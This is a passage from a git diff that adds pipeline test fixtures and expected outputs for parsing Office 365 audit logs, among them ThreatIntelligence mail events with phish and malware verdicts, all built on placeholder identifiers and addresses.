"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb" + }, + "o365": { + "audit": { + "AdditionalData": [ + { + "Name": "InsightType", + "Value": "5555" + } + ], + "Category": "MailFlow", + "CreationTime": "2022-12-31T23:59:59", + "Description": "X new remote domain(s) started receiving forwarded emails from your organization.", + "InsightData": [ + { + "Type": "None" + } + ], + "InsightId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "Name": "New domains being forwarded emails", + "ObjectId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "RecordType": "42", + "Severity": "High", + "UserId": "SecurityComplianceInsights", + "UserKey": "SecurityComplianceInsights", + "UserType": "4", + "Version": "1" + } + }, + "organization": { + "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb" + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "id": "SecurityComplianceInsights" + } + }, + { + "@timestamp": "2022-12-31T23:59:59.000Z", + "ecs": { + "version": "8.11.0" + }, + "event": { + "action": "AirAdminActionInvestigationData", + "category": [ + "web" + ], + "code": "AirAdminActionInvestigation", + "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "kind": "event", + "original": "{\"UserKey\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Activity\":\"\",\"OrganizationId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Operation\":\"AirAdminActionInvestigationData\",\"InvestigationUrn\":\"None\",\"Workload\":\"SecurityComplianceCenter\",\"AirAdminActionSource\":\"3\",\"Submitter\":\"account@example.com\",\"RecordType\":\"89\",\"UserId\":\"account@example.com\",\"SubAirAdminActionTypeMail\":\"6\",\"AirAdminActionType\":\"1\",\"CreationTime\":\"2022-12-31T23:59:59\",\"Approver\":\"account@example.com\",\"Id\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"UserType\":\"2\",\"BulkApprovalId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\"}", + "outcome": "success", + "provider": "SecurityComplianceCenter", + "type": [ + "info" + ] + }, + "host": { + "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "name": "example.com" + }, + "o365": { + "audit": { + "AirAdminActionSource": "3", + "AirAdminActionType": "1", + "Approver": "account@example.com", + "BulkApprovalId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "CreationTime": "2022-12-31T23:59:59", + "InvestigationUrn": "None", + "RecordType": "89", + "SubAirAdminActionTypeMail": "6", + "Submitter": "account@example.com", + "UserId": "account@example.com", + "UserKey": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "UserType": "2" + } + }, + "organization": { + "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb" + }, + "related": { + "user": [ + "account" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "domain": "example.com", + "email": "account@example.com", + "id": "account@example.com", + "name": "account" + } + } + ] +} diff --git a/packages/o365/data_stream/audit/_dev/test/pipeline/test-wl-threatintelligence.json b/packages/o365/data_stream/audit/_dev/test/pipeline/test-wl-threatintelligence.json new file mode 100644 index 00000000000..2edf9c23a8e --- /dev/null +++ b/packages/o365/data_stream/audit/_dev/test/pipeline/test-wl-threatintelligence.json @@ -0,0 +1,304 @@ +{ + "events": [ + { + "event": { + "original": "{\"Policy\":\"HighConfidencePhish\",\"Connector\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb: [Inbound from dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb]\",\"NetworkMessageId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Recipients\":[\"user@example.com\"],\"UserKey\":\"ThreatIntel\",\"SystemOverrides\":[{\"Details\":\"Exchange transport rule\",\"FinalOverride\":\"No\",\"Source\":\"Tenant\",\"Result\":\"Block\"}],\"PhishConfidenceLevel\":\"High\",\"DeliveryAction\":\"Blocked\",\"MessageTime\":\"2021-12-31T23:59:59\",\"OrganizationId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Operation\":\"TIMailData\",\"P2Sender\":\"sender@example.com\",\"RecordType\":28,\"Version\":1,\"PolicyAction\":\"Quarantine\",\"Verdict\":\"Phish\",\"SenderIp\":\"81.2.69.144\",\"P1Sender\":\"sender@example.com\",\"DetectionMethod\":\"Fingerprint matching\",\"ObjectId\":\"dddddddd-cccc-eeee-aaaa-abcdefabcdef12345678901234567890\",\"AuthDetails\":[{\"Value\":\"Fail\",\"Name\":\"SPF\"},{\"Value\":\"None\",\"Name\":\"DKIM\"},{\"Value\":\"Permanent error\",\"Name\":\"DMARC\"},{\"Value\":\"fail\",\"Name\":\"Comp Auth\"}],\"EventDeepLink\":\"https://security.microsoft.com/?hash=/threatexplorer?messageParams=dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb,dddddddd-cccc-eeee-aaaa-abcdefabcdef12345678901234567890-1,2021-12-31T00:00:00,2021-12-31T23:59:59&view=Phish\",\"Subject\":\"subject\",\"Workload\":\"ThreatIntelligence\",\"Directionality\":\"Inbound\",\"DetectionType\":\"Inline\",\"OriginalDeliveryLocation\":\"Quarantine\",\"InternetMessageId\":\"\",\"UserId\":\"ThreatIntel\",\"CreationTime\":\"2021-12-31T23:59:59\",\"LatestDeliveryLocation\":\"Quarantine\",\"Id\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"UserType\":4}" + }, + "o365audit": { + "Policy": "HighConfidencePhish", + "Connector": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb: [Inbound from dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb]", + "NetworkMessageId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "Recipients": [ + "user@example.com" + ], + "UserKey": "ThreatIntel", + "SystemOverrides": [ + { + "Details": "Exchange transport rule", + "FinalOverride": "No", + "Source": "Tenant", + "Result": "Block" + } + ], + "PhishConfidenceLevel": "High", + "DeliveryAction": "Blocked", + "MessageTime": "2021-12-31T23:59:59", + "OrganizationId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "Operation": "TIMailData", + "P2Sender": "sender@example.com", + "RecordType": 28, + "Version": 1, + "PolicyAction": "Quarantine", + "Verdict": "Phish", + "SenderIp": "81.2.69.144", + "P1Sender": "sender@example.com", + "DetectionMethod": "Fingerprint matching", + "ObjectId": "dddddddd-cccc-eeee-aaaa-abcdefabcdef12345678901234567890", + "AuthDetails": [ + { + "Value": "Fail", + "Name": "SPF" + }, + { + "Value": "None", + "Name": "DKIM" + }, + { + "Value": "Permanent error", + "Name": "DMARC" + }, + { + "Value": "fail", + "Name": "Comp Auth" + } + ], + "EventDeepLink": "https://security.microsoft.com/?hash=/threatexplorer?messageParams=dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb,dddddddd-cccc-eeee-aaaa-abcdefabcdef12345678901234567890-1,2021-12-31T00:00:00,2021-12-31T23:59:59&view=Phish", + "Subject": "subject", + "Workload": "ThreatIntelligence", + "Directionality": "Inbound", + "DetectionType": "Inline", + "OriginalDeliveryLocation": "Quarantine", + "InternetMessageId": "", + "UserId": "ThreatIntel", + "CreationTime": "2021-12-31T23:59:59", + "LatestDeliveryLocation": "Quarantine", + "Id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "UserType": 4 + } + }, + { + "event": { + "original": "{\"Connector\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb: [Inbound from dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb]\",\"NetworkMessageId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Recipients\":[\"user@example.com\"],\"UserKey\":\"ThreatIntel\",\"PhishConfidenceLevel\":\"High\",\"DeliveryAction\":\"Delivered\",\"Operation\":\"TIMailData\",\"OrganizationId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"MessageTime\":\"2021-12-31T23:59:59\",\"P2Sender\":\"sender@example.com\",\"RecordType\":28,\"Version\":1,\"Verdict\":\"Phish\",\"SenderIp\":\"81.2.69.144\",\"P1Sender\":\"sender@example.com\",\"DetectionMethod\":\"URL detonation reputation\",\"ObjectId\":\"dddddddd-cccc-eeee-aaaa-abcdefabcdef12345678901234567890\",\"AuthDetails\":[{\"Value\":\"Pass\",\"Name\":\"SPF\"},{\"Value\":\"Fail\",\"Name\":\"DKIM\"},{\"Value\":\"Pass\",\"Name\":\"DMARC\"},{\"Value\":\"pass\",\"Name\":\"Comp Auth\"}],\"EventDeepLink\":\"https://security.microsoft.com/?hash=/threatexplorer?messageParams=dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb,dddddddd-cccc-eeee-aaaa-abcdefabcdef12345678901234567890-1,2021-12-31T00:00:00,2021-12-31T23:59:59&view=Phish\",\"Subject\":\"subject\",\"Workload\":\"ThreatIntelligence\",\"Directionality\":\"Inbound\",\"DetectionType\":\"Inline\",\"OriginalDeliveryLocation\":\"JunkFolder\",\"UserId\":\"ThreatIntel\",\"InternetMessageId\":\"\",\"CreationTime\":\"2021-12-31T23:59:59\",\"LatestDeliveryLocation\":\"JunkFolder\",\"Id\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"UserType\":4}" + }, + "o365audit": { + "Connector": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb: [Inbound from dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb]", + "NetworkMessageId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "Recipients": [ + "user@example.com" + ], + "UserKey": "ThreatIntel", + "PhishConfidenceLevel": "High", + "DeliveryAction": "Delivered", + "Operation": "TIMailData", + "OrganizationId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "MessageTime": "2021-12-31T23:59:59", + "P2Sender": "sender@example.com", + "RecordType": 28, + "Version": 1, + "Verdict": "Phish", + "SenderIp": "81.2.69.144", + "P1Sender": "sender@example.com", + "DetectionMethod": "URL detonation reputation", + "ObjectId": "dddddddd-cccc-eeee-aaaa-abcdefabcdef12345678901234567890", + "AuthDetails": [ + { + "Value": "Pass", + "Name": "SPF" + }, + { + "Value": "Fail", + "Name": "DKIM" + }, + { + "Value": "Pass", + "Name": "DMARC" + }, + { + "Value": "pass", + "Name": "Comp Auth" + } + ], + "EventDeepLink": "https://security.microsoft.com/?hash=/threatexplorer?messageParams=dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb,dddddddd-cccc-eeee-aaaa-abcdefabcdef12345678901234567890-1,2021-12-31T00:00:00,2021-12-31T23:59:59&view=Phish", + "Subject": "subject", + "Workload": "ThreatIntelligence", + "Directionality": "Inbound", + "DetectionType": "Inline", + "OriginalDeliveryLocation": "JunkFolder", + "UserId": "ThreatIntel", + "InternetMessageId": "", + "CreationTime": "2021-12-31T23:59:59", + "LatestDeliveryLocation": "JunkFolder", + "Id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "UserType": 4 + } + }, + { + "event": { + "original": "{\"Connector\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb: [Inbound from dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb]\",\"NetworkMessageId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Recipients\":[\"user@example.com\"],\"UserKey\":\"ThreatIntel\",\"PhishConfidenceLevel\":\"Normal\",\"DeliveryAction\":\"Delivered\",\"MessageTime\":\"2021-12-31T23:59:59\",\"OrganizationId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Operation\":\"TIMailData\",\"P2Sender\":\"sender@example.com\",\"RecordType\":28,\"Version\":1,\"Verdict\":\"Phish\",\"SenderIp\":\"81.2.69.144\",\"P1Sender\":\"p1sender@example.com\",\"DetectionMethod\":\"Spoof external domain\",\"ObjectId\":\"dddddddd-cccc-eeee-aaaa-abcdefabcdef12345678901234567890\",\"AuthDetails\":[{\"Value\":\"Pass\",\"Name\":\"SPF\"},{\"Value\":\"Fail\",\"Name\":\"DKIM\"},{\"Value\":\"Fail\",\"Name\":\"DMARC\"},{\"Value\":\"fail\",\"Name\":\"Comp Auth\"}],\"EventDeepLink\":\"https://security.microsoft.com/?hash=/threatexplorer?messageParams=dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb,dddddddd-cccc-eeee-aaaa-abcdefabcdef12345678901234567890-1,2021-12-31T00:00:00,2021-12-31T23:59:59&view=Phish\",\"Subject\":\"subject\",\"Workload\":\"ThreatIntelligence\",\"Directionality\":\"Inbound\",\"DetectionType\":\"Inline\",\"OriginalDeliveryLocation\":\"Inbox\",\"UserId\":\"ThreatIntel\",\"InternetMessageId\":\"\",\"CreationTime\":\"2021-12-31T23:59:59\",\"LatestDeliveryLocation\":\"Inbox\",\"Id\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"UserType\":4}" + }, + "o365audit": { + "Connector": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb: [Inbound from dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb]", + "NetworkMessageId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "Recipients": [ + "user@example.com" + ], + "UserKey": "ThreatIntel", + "PhishConfidenceLevel": "Normal", + "DeliveryAction": "Delivered", + "MessageTime": "2021-12-31T23:59:59", + "OrganizationId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "Operation": "TIMailData", + "P2Sender": "sender@example.com", + "RecordType": 28, + "Version": 1, + "Verdict": "Phish", + "SenderIp": "81.2.69.144", + "P1Sender": "p1sender@example.com", + "DetectionMethod": "Spoof external domain", + "ObjectId": "dddddddd-cccc-eeee-aaaa-abcdefabcdef12345678901234567890", + "AuthDetails": [ + { + "Value": "Pass", + "Name": "SPF" + }, + { + "Value": "Fail", + "Name": "DKIM" + }, + { + "Value": "Fail", + "Name": "DMARC" + }, + { + "Value": "fail", + "Name": "Comp Auth" + } + ], + "EventDeepLink": "https://security.microsoft.com/?hash=/threatexplorer?messageParams=dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb,dddddddd-cccc-eeee-aaaa-abcdefabcdef12345678901234567890-1,2021-12-31T00:00:00,2021-12-31T23:59:59&view=Phish", + "Subject": "subject", + "Workload": "ThreatIntelligence", + "Directionality": "Inbound", + "DetectionType": "Inline", + "OriginalDeliveryLocation": "Inbox", + "UserId": "ThreatIntel", + "InternetMessageId": "", + "CreationTime": "2021-12-31T23:59:59", + "LatestDeliveryLocation": "Inbox", + "Id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "UserType": 4 + } + }, + { + "event": { + "original": "{\"Policy\":\"Phish\",\"Connector\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb: [Inbound from dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb]\",\"NetworkMessageId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Recipients\":[\"user@example.com\"],\"UserKey\":\"ThreatIntel\",\"PhishConfidenceLevel\":\"Normal\",\"DeliveryAction\":\"DeliveredAsSpam\",\"Operation\":\"TIMailData\",\"OrganizationId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"MessageTime\":\"2021-12-31T23:59:59\",\"P2Sender\":\"sender@example.com\",\"RecordType\":28,\"Version\":1,\"PolicyAction\":\"MoveToJmf\",\"Verdict\":\"Phish\",\"SenderIp\":\"81.2.69.144\",\"P1Sender\":\"p1sender@example.com\",\"DetectionMethod\":\"URL malicious reputation\",\"ObjectId\":\"dddddddd-cccc-eeee-aaaa-abcdefabcdef12345678901234567890\",\"AuthDetails\":[{\"Value\":\"Fail\",\"Name\":\"SPF\"},{\"Value\":\"Fail\",\"Name\":\"DKIM\"},{\"Value\":\"None\",\"Name\":\"DMARC\"},{\"Value\":\"none\",\"Name\":\"Comp Auth\"}],\"EventDeepLink\":\"https://security.microsoft.com/?hash=/threatexplorer?messageParams=dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb,dddddddd-cccc-eeee-aaaa-abcdefabcdef12345678901234567890-1,2021-12-31T00:00:00,2021-12-31T23:59:59&view=Phish\",\"Subject\":\"subject\",\"Workload\":\"ThreatIntelligence\",\"Directionality\":\"Inbound\",\"DetectionType\":\"Inline\",\"OriginalDeliveryLocation\":\"JunkFolder\",\"UserId\":\"ThreatIntel\",\"InternetMessageId\":\"\",\"CreationTime\":\"2021-12-31T23:59:59\",\"LatestDeliveryLocation\":\"JunkFolder\",\"Id\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"UserType\":4}" + }, + "o365audit": { + "Policy": "Phish", + "Connector": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb: [Inbound from dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb]", + "NetworkMessageId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "Recipients": [ + "user@example.com" + ], + "UserKey": "ThreatIntel", + "PhishConfidenceLevel": "Normal", + "DeliveryAction": "DeliveredAsSpam", + "Operation": "TIMailData", + "OrganizationId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "MessageTime": "2021-12-31T23:59:59", + "P2Sender": "sender@example.com", + "RecordType": 28, + "Version": 1, + "PolicyAction": "MoveToJmf", + "Verdict": "Phish", + "SenderIp": "81.2.69.144", + "P1Sender": "p1sender@example.com", + "DetectionMethod": "URL malicious reputation", + "ObjectId": "dddddddd-cccc-eeee-aaaa-abcdefabcdef12345678901234567890", + "AuthDetails": [ + { + "Value": "Fail", + "Name": "SPF" + }, + { + "Value": "Fail", + "Name": "DKIM" + }, + { + "Value": "None", + "Name": "DMARC" + }, + { + "Value": "none", + "Name": "Comp Auth" + } + ], + "EventDeepLink": "https://security.microsoft.com/?hash=/threatexplorer?messageParams=dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb,dddddddd-cccc-eeee-aaaa-abcdefabcdef12345678901234567890-1,2021-12-31T00:00:00,2021-12-31T23:59:59&view=Phish", + "Subject": "subject", + "Workload": "ThreatIntelligence", + "Directionality": "Inbound", + "DetectionType": "Inline", + "OriginalDeliveryLocation": "JunkFolder", + "UserId": "ThreatIntel", + "InternetMessageId": "", + "CreationTime": "2021-12-31T23:59:59", + "LatestDeliveryLocation": "JunkFolder", + "Id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "UserType": 4 + } + }, + { + "event": { + "original": "{\"Policy\":\"AntiMalware\",\"NetworkMessageId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Recipients\":[\"user@example.com\"],\"UserKey\":\"ThreatIntel\",\"DeliveryAction\":\"Blocked\",\"OrganizationId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"MessageTime\":\"2021-12-31T23:59:59\",\"Operation\":\"TIMailData\",\"P2Sender\":\"sender@example.com\",\"RecordType\":28,\"Version\":1,\"PolicyAction\":\"Quarantine\",\"Verdict\":\"Malware\",\"SenderIp\":\"81.2.69.144\",\"P1Sender\":\"sender@example.com\",\"DetectionMethod\":\"Antimalware protection\",\"ObjectId\":\"dddddddd-cccc-eeee-aaaa-abcdefabcdef12345678901234567890\",\"AuthDetails\":[{\"Value\":\"None\",\"Name\":\"DKIM\"},{\"Value\":\"None\",\"Name\":\"DMARC\"}],\"EventDeepLink\":\"https://security.microsoft.com/?hash=/threatexplorer?messageParams=dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb,dddddddd-cccc-eeee-aaaa-abcdefabcdef12345678901234567890-1,2021-12-31T00:00:00,2021-12-31T23:59:59&view=Malware\",\"Subject\":\"2021-12-31\",\"Workload\":\"ThreatIntelligence\",\"Directionality\":\"Intraorg\",\"DetectionType\":\"Inline\",\"OriginalDeliveryLocation\":\"Quarantine\",\"UserId\":\"ThreatIntel\",\"InternetMessageId\":\"\",\"CreationTime\":\"2021-12-31T23:59:59\",\"LatestDeliveryLocation\":\"Quarantine\",\"AttachmentData\":[{\"SHA256\":\"abcdefabcdef12345678901234567890abcdefabcdef12345678901234567890\",\"FileType\":\"eml;mime\",\"FileName\":\"untitled1.eml\",\"MalwareFamily\":\"HTML/Phish.PAZU!MTB\",\"FileVerdict\":\"1\"},{\"SHA256\":\"cccdefabcdef12345678901234567890abcdefabcdef12345678901234567890\",\"FileType\":\"eml;mime\",\"FileName\":\"untitled2.eml\",\"MalwareFamily\":\"HTML/Phish.PAZU!MTB\",\"FileVerdict\":\"2\"}],\"Id\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"UserType\":4}" + }, + "o365audit": { + "Policy": "AntiMalware", + "NetworkMessageId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "Recipients": [ + "user@example.com" + ], + "UserKey": "ThreatIntel", + "DeliveryAction": "Blocked", + "OrganizationId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "MessageTime": "2021-12-31T23:59:59", + "Operation": "TIMailData", + "P2Sender": "sender@example.com", + "RecordType": 28, + "Version": 1, + "PolicyAction": "Quarantine", + "Verdict": "Malware", + "SenderIp": "81.2.69.144", + "P1Sender": "sender@example.com", + "DetectionMethod": "Antimalware protection", + "ObjectId": "dddddddd-cccc-eeee-aaaa-abcdefabcdef12345678901234567890", + "AuthDetails": [ + { + "Value": "None", + "Name": "DKIM" + }, + { + "Value": "None", + "Name": "DMARC" + } + ], + "EventDeepLink": "https://security.microsoft.com/?hash=/threatexplorer?messageParams=dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb,dddddddd-cccc-eeee-aaaa-abcdefabcdef12345678901234567890-1,2021-12-31T00:00:00,2021-12-31T23:59:59&view=Malware", + "Subject": "2021-12-31", + "Workload": "ThreatIntelligence", + "Directionality": "Intraorg", + "DetectionType": "Inline", + "OriginalDeliveryLocation": "Quarantine", + "UserId": "ThreatIntel", + "InternetMessageId": "", + "CreationTime": "2021-12-31T23:59:59", + "LatestDeliveryLocation": "Quarantine", + "AttachmentData": [ + { + "SHA256": "abcdefabcdef12345678901234567890abcdefabcdef12345678901234567890", + "FileType": "eml;mime", + "FileName": "untitled1.eml", + "MalwareFamily": "HTML/Phish.PAZU!MTB", + "FileVerdict": "1" + }, + { + "SHA256": "cccdefabcdef12345678901234567890abcdefabcdef12345678901234567890", + "FileType": "eml;mime", + "FileName": "untitled2.eml", + "MalwareFamily": "HTML/Phish.PAZU!MTB", + "FileVerdict": "2" + } + ], + "Id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "UserType": 4 + } + } + ] +} \ No newline at end of file diff --git a/packages/o365/data_stream/audit/_dev/test/pipeline/test-wl-threatintelligence.json-expected.json b/packages/o365/data_stream/audit/_dev/test/pipeline/test-wl-threatintelligence.json-expected.json new file mode 100644 index 00000000000..0ec241ea8b7 --- /dev/null +++ b/packages/o365/data_stream/audit/_dev/test/pipeline/test-wl-threatintelligence.json-expected.json @@ -0,0 +1,564 @@ +{ + "expected": [ + { + "@timestamp": "2021-12-31T23:59:59.000Z", + "ecs": { + "version": "8.11.0" + }, + "email": { + "local_id": [ + "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb" + ], + "message_id": [ + "" + ], + "sender": { + "address": [ + "sender@example.com" + ] + }, + "subject": [ + "subject" + ], + "to": { + "address": [ + "user@example.com" + ] + } + }, + "event": { + "action": "TIMailData", + "category": [ + "web" + ], + "code": "ThreatIntelligence", + "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "kind": "event", + "original": "{\"Policy\":\"HighConfidencePhish\",\"Connector\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb: [Inbound from dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb]\",\"NetworkMessageId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Recipients\":[\"user@example.com\"],\"UserKey\":\"ThreatIntel\",\"SystemOverrides\":[{\"Details\":\"Exchange transport rule\",\"FinalOverride\":\"No\",\"Source\":\"Tenant\",\"Result\":\"Block\"}],\"PhishConfidenceLevel\":\"High\",\"DeliveryAction\":\"Blocked\",\"MessageTime\":\"2021-12-31T23:59:59\",\"OrganizationId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Operation\":\"TIMailData\",\"P2Sender\":\"sender@example.com\",\"RecordType\":28,\"Version\":1,\"PolicyAction\":\"Quarantine\",\"Verdict\":\"Phish\",\"SenderIp\":\"81.2.69.144\",\"P1Sender\":\"sender@example.com\",\"DetectionMethod\":\"Fingerprint matching\",\"ObjectId\":\"dddddddd-cccc-eeee-aaaa-abcdefabcdef12345678901234567890\",\"AuthDetails\":[{\"Value\":\"Fail\",\"Name\":\"SPF\"},{\"Value\":\"None\",\"Name\":\"DKIM\"},{\"Value\":\"Permanent error\",\"Name\":\"DMARC\"},{\"Value\":\"fail\",\"Name\":\"Comp Auth\"}],\"EventDeepLink\":\"https://security.microsoft.com/?hash=/threatexplorer?messageParams=dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb,dddddddd-cccc-eeee-aaaa-abcdefabcdef12345678901234567890-1,2021-12-31T00:00:00,2021-12-31T23:59:59&view=Phish\",\"Subject\":\"subject\",\"Workload\":\"ThreatIntelligence\",\"Directionality\":\"Inbound\",\"DetectionType\":\"Inline\",\"OriginalDeliveryLocation\":\"Quarantine\",\"InternetMessageId\":\"\",\"UserId\":\"ThreatIntel\",\"CreationTime\":\"2021-12-31T23:59:59\",\"LatestDeliveryLocation\":\"Quarantine\",\"Id\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"UserType\":4}", + "outcome": "success", + "provider": "ThreatIntelligence", + "type": [ + "info" + ] + }, + "host": { + "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb" + }, + "o365": { + "audit": { + "AuthDetails": [ + { + "Name": "SPF", + "Value": "Fail" + }, + { + "Name": "DKIM", + "Value": "None" + }, + { + "Name": "DMARC", + "Value": "Permanent error" + }, + { + "Name": "Comp Auth", + "Value": "fail" + } + ], + "Connector": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb: [Inbound from dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb]", + "CreationTime": "2021-12-31T23:59:59", + "DeliveryAction": "Blocked", + "DetectionMethod": "Fingerprint matching", + "DetectionType": "Inline", + "Directionality": "Inbound", + "EventDeepLink": "https://security.microsoft.com/?hash=/threatexplorer?messageParams=dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb,dddddddd-cccc-eeee-aaaa-abcdefabcdef12345678901234567890-1,2021-12-31T00:00:00,2021-12-31T23:59:59&view=Phish", + "InternetMessageId": "", + "LatestDeliveryLocation": "Quarantine", + "MessageTime": "2021-12-31T23:59:59", + "NetworkMessageId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "ObjectId": "dddddddd-cccc-eeee-aaaa-abcdefabcdef12345678901234567890", + "OriginalDeliveryLocation": "Quarantine", + "P1Sender": "sender@example.com", + "P2Sender": "sender@example.com", + "PhishConfidenceLevel": "High", + "Policy": "HighConfidencePhish", + "PolicyAction": "Quarantine", + "Recipients": [ + "user@example.com" + ], + "RecordType": "28", + "SenderIp": "81.2.69.144", + "Subject": "subject", + "SystemOverrides": [ + { + "Details": "Exchange transport rule", + "FinalOverride": "No", + "Result": "Block", + "Source": "Tenant" + } + ], + "UserId": "ThreatIntel", + "UserKey": "ThreatIntel", + "UserType": "4", + "Verdict": "Phish", + "Version": "1" + } + }, + "organization": { + "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb" + }, + "related": { + "ip": [ + "81.2.69.144" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "id": "ThreatIntel" + } + }, + { + "@timestamp": "2021-12-31T23:59:59.000Z", + "ecs": { + "version": "8.11.0" + }, + "email": { + "local_id": [ + "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb" + ], + "message_id": [ + "" + ], + "sender": { + "address": [ + "sender@example.com" + ] + }, + "subject": [ + "subject" + ], + "to": { + "address": [ + "user@example.com" + ] + } + }, + "event": { + "action": "TIMailData", + "category": [ + "web" + ], + "code": "ThreatIntelligence", + "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "kind": "event", + "original": "{\"Connector\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb: [Inbound from dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb]\",\"NetworkMessageId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Recipients\":[\"user@example.com\"],\"UserKey\":\"ThreatIntel\",\"PhishConfidenceLevel\":\"High\",\"DeliveryAction\":\"Delivered\",\"Operation\":\"TIMailData\",\"OrganizationId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"MessageTime\":\"2021-12-31T23:59:59\",\"P2Sender\":\"sender@example.com\",\"RecordType\":28,\"Version\":1,\"Verdict\":\"Phish\",\"SenderIp\":\"81.2.69.144\",\"P1Sender\":\"sender@example.com\",\"DetectionMethod\":\"URL detonation reputation\",\"ObjectId\":\"dddddddd-cccc-eeee-aaaa-abcdefabcdef12345678901234567890\",\"AuthDetails\":[{\"Value\":\"Pass\",\"Name\":\"SPF\"},{\"Value\":\"Fail\",\"Name\":\"DKIM\"},{\"Value\":\"Pass\",\"Name\":\"DMARC\"},{\"Value\":\"pass\",\"Name\":\"Comp 